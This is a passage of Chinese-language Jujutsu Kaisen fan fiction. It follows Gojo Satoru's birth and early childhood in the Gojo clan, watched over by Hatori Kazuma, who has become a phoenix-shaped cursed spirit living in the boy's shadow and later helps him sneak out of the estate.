在其睁眼之时,那双宛若苍蓝琉璃的眼瞳明澈、清冽、净无瑕秽,当场令常年服侍五条家的接生婆大喜过望。 她本身并非术师,但身在御三家之一的五条家,没人会不知道这双眼睛意味着什么。 为接生婆打下手的仆人开门出来,脸上同样洋溢着喜悦。当守在门外的男子询问屋内情况时, 她便笑着对这位原本地位并不高的男子表示恭喜。 “夫人可能诞下了[六眼]!你们将会受到整个五条家族尊敬的,这甚至可以称得上是了不得的大功, 我这就去喊辰雄长老过来确认!” 飞快说完好消息的她立刻沿着长廊跑走了, 软鞋底在木制回廊中踏出一连串细碎的声响。 接下来, 是五条家高层都在为这位[六眼]的诞生而欣喜雀跃的沸腾时刻。 在禅院家未出现觉醒[十种影法术]之人的形势下, 只需等这孩子在五、六岁时是否能觉醒[无下限]术式,他便将会成为五条家未来势力暴涨的关键武器! 不过, 按照之前的古籍记载,除去曾夭折于不足满月时的那位[六眼]——剩下的拥有[六眼]之人,觉醒[无下限]术式几乎是必然的结果。 “好好好,大喜事!大喜!” 五条辰雄极为高兴, 但没忘记立刻通知人员紧急封锁这个消息——刚诞生的[六眼]太过脆弱, 若是贸然传出去,被忌惮的敌人想方设法摸进来暗杀怎么办? 往后的五条家可还指望着靠这孩子来彻底掌控总监部呢。 现任的五条家主虽说也有能力, 但很可惜他并未觉醒[无下限]术式,只能联合加茂家才能勉强压禅院家一头。 在绝大多时候,他们三家在总监部的势力基本持平, 很难说哪方彻底压到了哪方。 但今日再不同往时,五条家即将成长起一位[绝对的强者]! 五条家长老各个笑得合不拢嘴,在安排摆宴庆祝后,又轮流来探望这个仅在最初睁眼片刻后又沉沉睡去的幼儿,再夸奖诞下他的母亲几句。 纵使是拥有[术式]这份特殊力量的术师,绝大多数人的发色都符合生理结构下的正常规律,并不会出现太过奇异的颜色。 而这位新生的[六眼],则与此刻窗外正纷扬而落的飞雪一般,头发与睫羽都是纯粹的皎白,在明亮光线下折射出一种柔软的、高洁的澄澈无暇之感。 果然是神明庇佑五条家,让他们终于在术师式微、诅咒爆发的此刻——迎来了足够重量的砝码。 来庆祝吧,来庆祝吧! 为五条家诞下[六眼]而庆祝! 底下人办事很麻利,转天便铺陈好了一切,连那位为五条家诞下[六眼]的母亲都被搀扶着来到宴席上,接受所有五条族人的恭贺与称赞。 五条辰雄格外高兴,甚至特意请来艺伎表演;这些听闻[六眼]现世之事的五条本家人皆喜不自胜,在过于热闹的氛围里喝酒到毫无仪态、或鼓掌或敲碗打拍子,为表演高声叫好。 在这场宴席上,大家将新生儿的姓名定为了【五条悟】。 若说是普通的新生儿,自然不可能在取名或庆祝上有这等规格的待遇——大多是差遣仆人送来几句宽慰,捎带一些奖赏,就算结束了。 等到再大几岁,其中一些人觉醒术式之后,才会根据对家族的有用程度与否,再进行一次待遇与身份的划定。 但这种热闹,是极孤寂的。 所有人都并非真正为了五条悟的降生而感到高兴,只是在为未来更高的权势、地位与资源而庆祝。 没人问过五条悟是否想为家族奉献所有,所有人便已默认他是被家族握在手中的一柄武器,且是他们所需要的那般强大、锐利,无往不胜。 全木制的殿屋并不怎么隔音,哪怕间隔一个庭院,仍旧有大笑、鼓掌、唱词等各种动静,伴随着三味线、拍子木、尺八与太鼓的声传来,持续了很长时间。 原本负责看顾五条悟的仆人年纪尚轻,此刻也按捺不住好奇——见躺在摇篮里的幼儿依旧闭目睡着安然,已开门溜了出去,想偷偷瞧上两眼再回来。 十二月的室外气温极低,屋内已早早摆上取暖用的火钵,里面放有小半盆点燃的木炭,此刻正安静烧着,不时爆出几许噼啪的火星。 大约是隔壁庆祝的动静实在吵闹,尚在沉睡中的幼儿轻轻皱起了眉头;原本握成拳的小手也开始挣动,远不如几分钟前安稳。 倘若再得不到安抚,想必他很快就要用尽全身力气哭嚎起来,与无数个诞生于其他母亲怀里的、既小又柔软的婴儿,并没有任何分别。 ——只是,这场景并没有出现。 随着羽取一真用爪子勾紧在藤编的摇篮边缘,收拢羽翼、俯身看向五条悟时,金红翎羽长而翩跹,同样轻盈垂落了几缕在他面前。 又被那只胡乱挥动的小手捉住其中一根,握紧在掌心。 那原本越皱越紧的眉头,也逐渐舒展开,直至化作轻而浅的平稳呼吸。 五条悟再度安然入睡了。 至于自刎后被悟诅咒、成功化作【特级过咒怨灵】的羽取一真,此刻也不再拥有人类的身体,而是一只由炽焰凝聚而成的庞然鸟类——在现身之时,他便控制自己的身形这间并不大的屋内逐渐缩小,直到与孔雀的体型差不多大为止。 灿金与明红交织的光泽不断变幻流淌,在空中无风摇曳,比起将它形容成鸟类的羽毛,更接近于一捧明亮的、永不熄灭的火焰。 大约是因为羽取一真如今被归为悟拥有的特级过咒怨灵,他的出现并没有拉响这栋宅邸的结界警报。 而直到此刻,羽取一真才终于能感知到所谓的“咒力”到底是什么。 当下他所拥有的力量,已不再由游戏赋予、受系统束缚,而是一股彻底为悟而生、且完全受他所掌控的庞大能量。 换句话说,羽取一真发现自己无法唤出游戏界面,但[十方摩诃]的技能依旧可以使用——包括最后那个覆盖了极广范围的生得领域,[一真法界]。 虽然要主动使用的话还不太熟练,咒力也随着当时那股憎恨情绪的消退而减弱许多;他能清晰感觉到自己目前再一次展开领域的话,应该没办法用出那么大面积的[一真法界]。 在他彻底失去意识前的短暂记忆里,除去被他自己护在羽翼下的悟,其余视线所及范围之内,已尽数化作整片燃烧不息的火海。 当初去参加姐妹校交流会时,悟向他提过冥冥依靠乌鸦术式来进行屏幕直播的范围无法做到非常远,大概率也被包括在火海波及的范围内吧。 羽取一真并不为此觉得愧疚,只更低地俯下身来,在那些欢腾的热闹都聚拢去隔壁、无人前来屋内照料悟的间隙,认真凝望着小小的他。 在这个腐烂透顶的咒术界,悟会知晓未来的自己将被绝大多数人忌惮着、畏惧着、孤立着,却依旧毅然决然的奔赴死亡吗? 悟会接受自己被那些术师误解与腹诽的一生,却既不抱怨也不迁怒吗? 悟会忙碌于永远做不完的那些任务、教学和文书工作,哪怕每天只能睡三个小时也欣然坚持吗? 羽取一真不必开口,便已知晓这些问题的答案。 在他脑海里浮现的,仍然是一幕接一幕鲜活而生动的记忆画面。 为了赶任务而在凌晨坐车内小憩的悟、问他要不要尝尝苹果汁的悟、指尖轻抚花瓣却从不摘下的悟、笑着说好喜欢大家的悟、决定当教师来拯救更多人的悟…… 以及每次过年去神社祭拜时,笑着睁开眼问他许了什么愿望的悟。 钵里的火焰逐渐转弱,有一些细小的灰烬自被烧得发白的炭上剥离,随上升的热气而轻飘飘被吹拂在空中,打着飘忽不定的旋儿,又翩然落下。 刚出生的悟在他面前睡得很香,那只小小的手心里,仍旧紧攥着一根金红流光的翎羽。 羽取一真叹息着,去数那些落下的灰烬,一片、两片。 仿佛在埋葬他曾经许下的那些祈愿,一个、两个。 即使如此。 羽取一真沉默想道。 即使如此,他也依旧会继续祈祷——并非向神明,而是向自己。 【悟将得到所有他所期望的爱。】 为此,他要彻底摧毁这个陈腐的、朽败且溃烂的咒术界。 ——哒哒。 门扉外传来一连串轻微的脚步声,是那名仆人偷听完了一段艺伎表演,发现自己已经比预计时间待超了太久时,连忙赶回来的动静。 她推开门,发现火钵已快要烧尽了,房间却仍然非常温暖;需要看顾这位[六眼]也依旧握着小拳头贴在侧脸旁,睡得十分安熟。 呼,幸好什么事也没发生。 仆人既放心又紧张,赶忙拎来一桶新的木炭换好,又将他的小拳头轻轻塞回襁褓里。 窗外的雪仍在下,好似有一双眼睛自阴影处睁开,静静守护着躺在摇篮里的,小小的他。 ……… 在绝大多数时间里,悟的身边都有人陪着,藏在他影子里的羽取一真并不能随意现身。 此时的他已完全是特级过咒怨灵形态,哪怕能开口说话,也只会被当成实力更强大些的诅咒,然后被集结起来的咒术师祓除掉。 羽取一真在之前展开生得领域时是一种彻底不管不顾的完全爆发状态,消耗了太多能量——他现在连远的地方都去不了,只能跟随在悟身边。 眼下的悟又还是一、两岁的幼儿,才是刚学会说话的年纪,术式都还没有觉醒呢,又怎么可能有格外的咒力提供给他。 因此,羽取一真只能在众人都睡去的深夜之时才出现,或是欣赏一会幼悟的可爱睡颜,或是用自己的翎羽或尾羽逗一逗中途醒来的他。 每到这时候,幼悟的苍瞳又圆又明亮,总是睁得大大的,视线好奇跟着羽毛的飘荡而来回移动,像一只追逐着毛球玩耍的小猫猫。 在大多数时候,他也会跟着伸手去抓——偶尔还会发出几声又轻又低的“啊呜啊呜”,既像在撒娇,又像在控诉。 实在是可爱到犯规的程度,让羽取一真总会心软到立刻把羽毛塞进他手里,任由对方把玩着,有时还会放嘴里咂吧几下,糊上一层亮晶晶的口水。 分明是能烧毁任何东西的火焰,在幼悟这里却是乖巧又安分的,根本不会对他造成任何伤害。 羽取一真在暗处守护幼悟长大,从连翻身也不会的婴儿,逐步到能够坐起身、精力旺盛的四处乱爬、咿咿呀呀学习说话、扶着墙踉跄走路…… 直至到觉醒术式之前的某一天,在羽取一真还没有主动现身时,等仆人离开后的五条悟就已经准确看向了自己的影子——或者说,看向了他。 “你是谁?” 放下手中把玩着的小芥子娃娃,五条悟眨了下那双能够看透所有咒力的[六眼],认真开口问道。 哪怕是年幼的悟,也依旧是极聪慧且敏锐的。 他在学习上的天赋一骑绝尘,甩开同龄人不知道多少倍——包括说话、认字与简单计算在内的那些学前教育,都是在相当短的时间内就完全掌握了,甚至能条理清晰地说出许多令大人也惊讶的话来。 而此刻,他正等着羽取一真的回应。 既不害怕、也不好奇,是用一种[他早已知晓]的态度,特意避开所有人,以略带好奇的口吻问出来的。 拥有这双能被动看透一切咒力的[六眼],五条悟早就感知到对方栖息在自己的影子内,像一个无声无息的幽灵,但没有任何恶意。 随着年岁见长,那些老头对他的干涉也越来越多了,他的活动范围很小,哪怕是在这栋偌大的五条宅邸之内,也常常会被要求待在学堂与自己的寝殿里,以防来自外界的任何恶意对他进行偷袭。 五条悟逐渐感到排斥,但并没有太多反抗。 通过阅读那些代代流传下来的书籍,他早已知晓[术式]以及[六眼]的重要性,还有仆人偷偷告诉过他——[六眼]的存在被泄露了,如今的他悬赏身价超过一亿。 因此,尚未觉醒术式的五条悟也只能勉强听从家族的安排,在不上学的时间里,就玩些没什么兴趣的祈福娃娃和益智玩具来打发时间。 但关于自己影子里的这个未知存在,还没满五岁的小小五条悟,叛逆心便先悄悄升起来了。 哼,他偏不告诉家族那些说起话来格外唠唠叨叨的老爷子们——反正对方已经待在他影子里这么久了也没有恶意,直接亲自向对方问出个结果来也没事吧。 还有更关键的一点是,五条悟发现自己只要看向对方存在的那处阴影,心底总会升起一种莫名的熟稔。 那是一种令人疑惑的、相当温暖的感觉,比任何人带给他的感觉都要亲近得多,就仿佛是灵魂在无声低语着——对方很重要。 而尚未接受过完整教育的幼悟,此时拥有的思维更直率且坦诚。 他想要独占这份特殊的“重要”,并为此一动不动盯着对方的藏身之处,誓要把对方盯出来为止。 当羽取一真哑然许久,终是以近似凤凰的这番姿态,顺从地自影子深处现身时—— 五条悟惊讶睁大眼。 以为自己只是曾在梦中见过的这道金红流光,竟于此刻真切出现在了他的面前。 “我的那些记忆,原来是真的…?” 第194章 “是真的。” 羽取一真有点忐忑, 但仍让自己表现得相当温驯——正站在五条悟面前接受盘问的他收拢羽翼,任由那双好奇的目光随着踱步而仔细打量。 “所以,你是诅咒?” 五条悟原本只是在要问出一个答案的, 但盯着盯着, 就没忍住上手摸了好多次。 似火焰似飞羽的触感在他掌心却仅剩下温暖与柔软,像在抚摸一捧晒在阳光下的暖绒棉花,或是惬意泡在寒冬的温泉里。 那双明亮的苍瞳睁得又大又圆,眼尾猫似的微微上挑,流露出惊讶混杂兴奋的情绪时,显出独一份格外的漂亮又可爱。 五条悟又来回摸了几下, 最后索性整个人都朝这只凤凰的身上小小一扑——就像搂住了超大号的抱枕般,他将脸都埋进这蓬正燃烧着的柔软羽毛里, 发出一声含糊不清的喟叹。 声音闷闷的, 还带着明显压不下去的童音, 把羽取一真萌到心都快化掉。 虽说他相信悟肯定能在未来某天发现自己影子里还藏着一只特级过咒怨灵, 但也没料到这天来得如此之快。 只是,悟表现出来的态度与他预想的截然相反。 没有质疑、没有畏惧、没有冷漠。 反而是用最放松与无防备的满怀一抱, 轻而易举就瓦解了他所有的紧张与局促。 毕竟他现在连拟态成人类的能力都没有,而咒术师又是最擅长祓除诅咒的。 如果悟执意要动手祓除他,那么……他也不会反抗。 羽取一真从来都不可能拒绝五条悟的亲近——在他与悟的多年相处中,身体更是早已习惯类似此刻的亲密触碰, 连半点僵硬或抗拒的条件反射也不会有。 “嗯, 我是特级过咒怨灵。” 在五条悟抬起脑袋的视野里,这只绚丽到极致的凤凰连转动脖颈的姿态也显得纤长且优雅, 用一侧细长却柔和的眼眸认真看向他,“是只属于你的。” 过咒怨灵……学前教育还没有介绍到这里,但五条悟平时闲得无聊, 在书上已看过这部分内容。 以“对某个特定人物有执念,当那人受到伤害时便会显现”的咒灵,才会被称作【过咒怨灵】——此类可供参考的案例极其稀少,因此描述也相当简单,仅做了个粗略定义。 比起通常情况下诞生的普通诅咒,这种凭依在某人身上、无法被轻易祓除的怨灵在杀伤力上往往更强,但仅会对特定的那人有反应,且基本毫无理性可言。 眼前这只凤凰形态的过咒怨灵,却能与他正常沟通,还直言自己是属于他的。 五条悟对它对视时,仿佛才恍然发现它头部的羽冠同样长且飘逸,仿佛几道无风却自在摇曳的绸带;灿金与明红组成的碎光宛若炽焰燃烧时不断迸发又逸散的星火,即使落在他举起的掌心也不会有烧灼的痛感。 “我……” 五条悟轻轻开口,表情却已绷紧起来,好似在严肃的板着脸。 只是他现在还太小,哪怕努力做出认真的模样,还不如平常对待话痨长老们时的面无表情,那样反而更显出一份疏离而冷淡的气质,经常让仆人在背后偷偷赞叹“不愧是拥有[六眼]的悟少爷,一言一行皆如此符合他的身份”。 但实际上,五条悟只是因过于早慧,又懒得听太多遍翻来覆去的教条与规矩,而将很多话都当做耳旁风,不会刻意理睬罢了。 家族里的所有人都对他给予厚望,在成长过程中所获得的资源与待遇也都是独一无二的优厚,反而会在很多时候间接给精神施加其余同龄人都不会有的压力。 例如,其实与五条悟差不多时期诞生在五条家的孩子也有几个,但他却几乎没有与同辈人一起玩耍的经历。 包括父母,五条悟也已经很久没见过了。 被他抱了个满怀的这只漂亮凤凰,反而是五条悟有记忆以来,第一次与“人”的亲密接触。 非常温暖,还给他一种格外满足与愉快的情绪,恨不得用脸再努力到处蹭蹭,然后安然睡在它展开的羽翼下。 至于害怕或惊吓,那是半点没有的。 但五条悟又想起书籍上关于【过咒怨灵】的介绍——刚放松下来的、仍然带着婴儿肥的圆滚滚可爱脸颊,立刻又努力绷紧,似乎在让自己显得更真诚些。 “嗯?” 羽取一真在耐心等可爱幼悟的后半句话。 他或许可以对着悟编织出更无害的谎言来,例如“我不是诅咒是精灵”、“我其实是守护你的伴生式神”、“我是五条家的守护神”之类,才不满五岁的宝宝悟大概率分不清真假,只会夸赞着好厉害,然后完全放下戒备。 虽说现在感觉悟好像也对自己压根没有防备的模样。 何况以悟的头脑之聪慧,可能连四岁的他也不会相信这套说辞。 不过,羽取一真没有找其他借口掩饰自己身份的原因很纯粹——他永远不会对悟撒谎,从一而终。 于是,他也听见了悟的回应。 “是我……诞生了你?” 五条悟的表情里还透着一点迷茫。 [六眼]分析出来的咒力情报,告诉他这是真的,流淌在这只绚烂凤凰体内的咒力来源确确实实就是他。 他才四岁,对方却已早早陪伴在自己身边——至少在他刚开始对世界有所感知之时,那些尚且模糊的记忆里便已出现了金与红交织的绚烂流光。 可五条悟此时度过的人生还太浅,完全想象不出自己是怎么做到刚出生没多久,就能在心底积淀起一股庞大到几乎无穷无尽、却找不到方向发泄的负面情绪,直至诅咒出一个凤凰形态的过咒怨灵守在他身边的。 如果不是明确知道他的父母还健在,还是个四岁宝宝的悟崽大概率会往这方面猜…… “什么?” 羽取一真发出有点被呛到的声音,随即否认,“当然不是,不要用这种好像是你生出了我的词。” 五条悟从善如流纠正:“那就是我捏出了你。” 羽取一真:“……当然也……嗯……也不说完全错。” 不对悟撒谎是一回事,直白对现在还是个宝宝的可爱幼悟说自己其实是拼着自杀后被他诅咒成特级过咒怨灵,为的是藉由特级诅咒自带的生得领域杀掉两面宿傩连带其他看戏的旁观者,结果还不知道结果如何就被传送到这个时间点……又是另一回事。 但五条悟并不在意那些羽取一真还没说出口的话。 他只是又愉快笑起来,使劲蹭了蹭怀里这团既蓬松又轻盈的温暖羽毛。 “所以,你和五条家无关,是完全属于我的。” 当五条悟再度抬起脑袋时,对着它既骄傲又神气的发出这句霸道宣言;而羽取一真也纵容的回应着,温和眼眸里只倒映他露出的可爱笑脸。 “你说的一点也没错。” 羽取一真低下脑袋,用细而长的鸟喙的上颚部分轻轻碰他,就像猫猫是用鼻头贴贴作为与对方亲昵打招呼的方式。 ——在这个崭新的时间点上,拥有新身份的一真又再度与小小的悟结缘。 “你叫什么名字?” 五条悟心满意足的蹭够了,又高兴问道。 他好像正对自己终于拥有一样完全属于他的东西而感到满足,却又不仅于此。 “嗯……我叫,” 羽取一真正要说真名,又忽然想起自己那始终没有机会被悟念出口的一周目名字。 “【英俊的爸爸】。” 五条悟:“………” 哪怕是现今不满五岁的五条悟,也默然虚起了眼:“想占我便宜?” 羽取一真:“……咳,喊一声又没什么不好。” 他也很遗憾啊,无论是一周目的悟还是二周目的悟都不肯喊,无论床上还是床下…… 明知道他超期待的。 结果连四岁的幼悟也不肯满足他的这个小小心愿吗,唉。 生活不易,凤凰叹气。 五条悟:“………” 是他的错觉吗,忽然感觉这家伙变得超呆的,其实一点也不像传说里的凤凰那样,拥有高高在上的威风与傲然——非要用动物来定义的话,倒更像是某类犟种狗狗…… 但不等于自己要接受自己突然多出一个爸爸。 五条悟强调道:“总之你要是再提这个,我就自己给你取名。” 羽取一真望了下天花板,又低着头幽幽叹息,“一真。喊我一真就好。” 五条悟沉默盯着这只开始叹气的凤凰。 这家伙竟然还这么遗憾……? ……不是吧? ………… 往后的日子里,五条长老们奇异发现五条悟对待他们的态度似乎不再像之前那么冷漠。 要是换一句更准确的话来形容,就好像是有什么好事在五条悟身上发生,让他在绝大多数时候的心情都非常愉快,连带看他们也顺眼了许多。 至少在他们又向这孩子灌输些“五条家才是对你最重要的”、“你所做的一切都要为了五条家的辉煌”、“你注定要为五条家奉献所有”、“所有人都必须遵从组训与规矩”之类的内容时,换来的也不再是面无表情下的左耳进右耳出。 “嗯嗯知道了,我早就已经背下来了。可以离开了吗?可以对吧,我要回去休息了,明天见。” ——就是这个态度,让五条辰雄与其余数人面面相觑,一时分辨不出五条悟到底是不是在敷衍他们。 要说敷衍吧,以前的态度才更敷衍……要说不敷衍,他们连多插一句话的功夫也没有,这小子就已经绕过他们走了。 但要是拿这些内容去考他,又会发现对方真的一字不差背下来了,根本连挑刺的毛病都没有。 包括那些照顾他的奶娘与仆人,也说过悟少爷虽然不算特别活泼与好亲近的性格,但对待他们的态度其实并不恶劣,平时教导的礼仪也没什么差错。 自然,这些人都没有发现五条悟已经拥有了一位新的玩伴,且与他形影不离。 第195章 时间过得很快, 当五条悟确定觉醒了[无下限]术式后,五条家所有人都露出“理当如此”的放心表情来。 下任五条家主,不可能会出现第二位人选。 五条悟在饮食起居上的待遇本就是同一辈内的顶尖, 等宣布继承人的身份后, 长老们便又将其再往上提一级,被分配到的资源近乎等同于家主。 包括术师的相关修行与在御三家内也属顶尖的精英教育,也立刻有条不紊地展开,将他每日的排程都占得极满。 五条悟对能够增强自身实力上的修行毫无怨言,但又很不耐烦背诵那些迂腐的规矩、教条,以及更冰冷的五条家利益优先原则。 就好像他只是家族里的一个齿轮, 而他父母的功劳也只在于诞下了他这枚曾缺失数百年、如今终于能严丝合缝嵌进去的关键零件,总算让五条家这台庞大的利益机器能满功率跑起来。 倘若是其它自我意识并不强烈的小孩, 自幼便被灌输类似的想法, 本身又处于高人一等的既得利益者地位, 大概率会毫无障碍的接受这些理论与规矩, 并毫不犹豫将它接着执行下去,以维护并巩固自身阶级的统治地位。 但五条悟拥有强烈且明确的自我, 具备十分清晰的主观思考能力,不会轻易受到外界因素动摇。 例如,他会板着张没什么表情的脸,连坐姿也相当端正, 其实在整个灌输理论的过程中都神游天外, 直至捱到这堂仅为他开设的继承人教育课的时间终于结束。 老师也不能训斥他,因为无论他向这位头脑聪慧至极的悟少爷提问什么, 对方都能格外流畅地回答出来——从他讲过的内容里摘抄,一字不差。 而仔细一看,五条悟貌似在认真听讲, 那本摊开的教材下实则露出一个纸张泛黄的小角,明显还压着本与此次教学无关的书籍…… 老师欲言又止,长长山羊的胡须颤动了一下,又颤动了一下,还是选择默默收拾东西,假装没有看见五条悟在课上开小差。 算了,反正悟少爷小小年纪就表现出极其聪颖的天资,其余教师也都纷纷夸赞他悟性很高,会觉得这些内容都太过简单这种事情,也是理所当然的。 见这位思想教育老师没说什么就准备离开,五条悟也在心底暗自松口气。 要是被五条辰雄他们知道,肯定又要啰嗦。 他站起来,欠身送走这位据说教出了三代五条家主的尊贵老头,便将桌上那本教材连同他特意动用继承人权限借来的书都合上收拾好,揣在臂弯间夹着。 那些长老给他的待遇确实拉到最高的,但人实在是唠叨得不行,不仅动不动就喜欢说教,还总是擅自给他增添各种各样的排程。 除去睡觉外,他最近能独自待着的时间也越来越少。 能不能休息倒是其次,但这同样意味着一真能现身的时间也跟着变少,让五条悟不太高兴。 当他走出占地略显偏僻的学堂,独自沿着木制长廊穿过这处院落时,恰好听见那边传来热闹的说话声。 五条悟往那边投去目光,是好几个与他差不多年龄的同辈,正挥舞着树枝边互相追逐边笑闹着,好似握在手中的并非树枝,而是一柄千锤百炼铸造而成的武士刀。 “带我,也带我玩嘛!” “不—行,你刚才在和阳太的对决中输了啦,所以今天下午是阳太跟我玩我爸爸特意买给我的《GA赛车》,玩起来超刺激!” “哼,我回去也要让我爸爸给我买……” “可不是买到就能随便玩的啦,这个游戏得搭载在PS(play station)上才能运行。” “好厉害啊,听说是半年前才刚发售的游戏机吧?没想到你爸爸竟然真的给你买了啊!” “一般般吧——这种要求,我爸爸都会答应的啦。” 洒进那边院落的阳光很好,春季的风也不猛烈。长在院中的樟树十分茂密,被吹落了无数沙沙作响的光斑,连拂在肌肤上也只感觉凉爽,是一种令人心旷神怡的畅快感。 五条悟独自站在长廊下的阴影里,安静看着。 他在过年时的家族宴上见过那些人,也记住了他们的名字,有些通识课程还会坐在同一间学堂里,但几乎没有说过话。 大概是五条悟往那边看的时间有点久,那些孩子也发现了他站在那里,动作立刻变得收敛起来。 在这栋五条家的本家宅邸里,五条悟从不需要报上自己的姓名——他那头极显眼的银白短发与比苍蓝更浅些的眼瞳,就足以让任何人都认出他是谁。 他们也不打闹了,而是聚在一起窃窃私语。 “喂,那不是……” “啊,是五条悟对吧。” “在往我们这边看呢,表情好冷淡。” “要邀请他一起来玩吗?” “人家可是既定的家主继承人,肯定在鄙夷我们竟然在玩这种上不了台面的游戏啦。” “嘘,我爸爸说不能和他玩,被长老知道了要挨骂的。” “去我那里玩《GA赛车》啦,肯定比游戏厅里还要好玩!” 很快,那些小孩就在五条悟的注视下若无其事散开了,树枝也纷纷丢在地上,仿佛刚才的院落里什么也没有发生过——他们在视线上出现一次短暂的交集,但很快就没了后续。 五条悟也收回目光,继续独自往前走去,没有发表任何看法。 风在轻柔吹动他额前的短发,让它不安分的四处翘起着,变成一只很久没有舔过毛的纯白小猫猫。 五条悟在这段四周已无人的路途上,忽然开口。 “我就算不拿树枝,也能打赢他们。” 这句话乍一听好像仅是在自言自语,但随即就有一只漂亮的金红色小鸟从他的影子里扇着翅膀飞出来,轻轻落在他肩头。 “游戏机什么的,我肯定也能玩得很好。”五条悟又继续说道,“不管是那个赛车,还是别的。” 他其实没有接触过游戏机这种在长老们看来十分玩物丧志的东西,但五条悟就是拥有这个自信。 将体型缩到比肥啾大不了多少的羽取一真,用自己圆滚滚的小脑袋去蹭五条悟的颈窝。 “到时候,我就来陪你玩。我一定会是个好搭档。” 羽取一真同样信心十足——他可是在两个周目里都陪悟打过无数游戏的好搭档。 被又暖又软的团子蹭得皮肤痒痒,让始终没什么表情的五条悟终于忍不住笑起来。 “你只有爪子和翅膀,要怎么陪我打游戏?”——他用手指轻轻去戳这只迷你凤凰的身体,看似在抱怨的声音里却充满了愉快的语调,“你只能乖乖看着我打,然后夸我超厉害。” “那我就会看着你打,然后夸你超厉害。” 羽取一真欣然复述。 他也不确定自己到底能不能在这周目恢复人身,或许到时候可以先苦练用爪子打游戏。 五条悟又笑起来,原本戳着一真的动作也改用指腹轻轻摸它的脑袋。 他笑起来时真的超可爱,可惜那些繁重的功课与需要遵守的礼仪全部压在五条悟身上,让他在大多数时候都不会在脸上流露出明显的情绪。 尤其边上跟着照料他的仆人时,五条悟要是做出点任何稍微出格的行为,都会被小声劝说“有失仪态”。 羽取一真回忆起在高专时活泼又神气的悟,很难想象他现在的生活到底有多压抑自身的天性。 “没关系,” 似乎察觉到了他的想法,五条悟突然开口道,“等我更有能力些就好了。” 等他再长大些,无论是想玩的游戏机,还是只有他们一起住的大房子,都会有的。 “——嗯。” ……… 再过些日子,为了庆祝五条悟觉醒[无下限]术式,仆人跪伏的姿态恭敬,为他送来了全手作的新和服。 五条悟将它展开,是一件蜻蜓纹样的浅蓝色浴衣,布料入手柔软而轻便,属于常穿在春夏两季的样式。 蜻蜓又被称做“胜虫”,既是经典的夏季风物诗,也是武士与将军极喜爱的“胜利”象征;此时由族内安排送给他,其中祈愿他[出人头地、旗开得胜]的意味也十分明显。 上次给他送来的是菖蒲纹样的和服,同样是祈祷必胜的含义。 “谢谢。” 五条悟点头收下了,反正只是件衣服而已,随便穿穿就是。 “辰雄长老他们皆万分期待您的成长。” 仆人最后转述完这句捎带的话,便合上门离去了。 五条悟等她离开,便随意将那件浴衣往旁边一丢,整个人都倒在榻榻米上,一动不动。 羽取一真刚从影子里现身,就被他精准地出手捞住,一把揽怀里抱紧,继续盯着天花板发呆。 他的寝殿非常大,同时也非常空旷,除去一些必备的家居外,也就仅剩几样挂在墙壁的装饰,被天天来打扫的仆人擦拭得干干净净。 除去刚才丢在榻榻米上的新浴衣外,仿佛只有五条悟之前凌乱摊开在桌上的几本古籍、数学教材与草稿纸,才透出这里其实有人生活的气息。 能用来娱乐的玩具或游戏机根本没有,下一任五条家主怎么可以沉迷于那些幼稚的东西? 连他自己也是刚从一次咒灵祓除现场旁观回来,美其名曰[需要从小积累对敌经验、培养战斗的敏感性]。 但没人问他真正想要什么,哪怕是浴衣上的纹样,也是包含着他们对他的期待,而并非他自己的。 哈…好烦。 闭上眼的五条悟在心底想着,由仰躺的姿势变为侧身,似乎想要趁还没开始的下午授课之前,稍微小睡一会补足精力。 随年龄增加的不仅有对咒力的提炼与掌控,还有这双无休止自动分析情报的[六眼],在消耗大脑能量过度的时候,总会让他感觉到疲惫。 羽取一真静静看着五条悟片刻,突然开口问他。 “要来试试看偷溜去外面玩吗?” 五条悟原本闭上的眼睛,顿时睁得又大又圆——连应和的话语都变得铿锵有力。 “要。” 第196章 五条宅邸确实防守森严, 巡逻的护卫队日夜不休,还有笼罩整个宅邸的结界作为预警。 不过,结界毕竟只是防外人的, 可拦不住想要从里面翻到外面去的五条悟。 他之前从来没想过要偷溜到外面去玩的坏主意, 但一真这句话点醒了他。 对啊,既然在家里不让他玩那些,那他就跑到外面去玩嘛! 至于自己脑袋上挂着的过亿悬赏,五条悟压根不放在心上。 “如果那些想要杀我的人,水平都跟我今天旁观的那个[一级咒术师]差不多的话,那也没什么好害怕的。” 五条悟边用手抻着卫衣领口的布料, 将白绒绒的脑袋从那个套在头上的洞里扒拉出来,边无所谓道。 他脱掉妨碍自己大幅度行动的浴衣与木屐, 换上轻便灵活的卫衣、短裤与运动鞋。 等五条悟一切准备就绪, 便将双手揣进卫衣身前的那个左右相连的大口袋, 拉开, 示意羽取一真缩小身形后躲进这里来。 “何况,还有你呢。” 他笑了起来, 终于露出些许孩子气的狡黠意味。 “放心。” 羽取一真用翅膀拍了拍幼悟还有点肉肉的小手背。 别看在悟这里,他是一只冬天抱起来格外暖和、体型还能随心大小变的漂亮凤凰。 但敌人要是敢来碰他一下,他会让对方当场明白什么叫物理反应里的“升华”。 五条悟用手摸了摸圆滚滚的小肥啾凤凰,才心满意足拉开门, 准备开溜。 在这种即将要干坏事的时候, 他的[六眼]就显得格外有用——无论普通人类或是术师,流动在每个人身上的咒力都是如此清晰可见, 足以令他轻松绕开所有人群,在后院找到一条没有人经过的偏僻窄路。 至于后院的围墙,对五条悟而言更是轻松。 [无下限]术式顺转——[苍]的发动原理说起来很好理解, 其实就是压缩两个坐标之间的距离至负无穷。 因此,只要中途没有任何障碍物遮挡,他就能依靠术式实现短距离的空间瞬移。 像把自己瞬移到围墙上再翻过去这种事,哪怕是才觉醒术式半年的五条悟,也有百分之百的信心确定自己不会失误。 但他仰头望着这堵高高的石墙片刻,揣在身前口袋里的双手一动,用指腹去摸乖乖蜷坐在里面的一真。 “我翻不过去。” 五条悟在一本正经的睁眼说瞎话,“需要拜托一真来帮忙才行。” 说到第二句话时,他的表情又透出一点坏坏的得意,就像是一只理直气壮伸手要撒娇、要抱抱的小猫。 反正这里没有人经过,一真的体型可以尽量展开——比他在书和画册上所有见过的鸟都要大且华丽——燃烧着的绚烂双翼扇动间,火焰温暖的包裹着他,锋利的勾爪也仅是轻轻抓紧他的卫衣兜帽,就足以将人平稳带起,轻而易举飞过这堵高墙。 五条悟眯起眼,显得格外愉快。 他很喜欢这种有人陪他一起做点什么的感觉——尤其是干点长老们平时禁止的“坏事”,更是让他情绪高涨。 等他再站稳时,耗时二十五分钟的偷溜计划圆满成功,脚下的土地已换成了五条宅邸旁的街道。 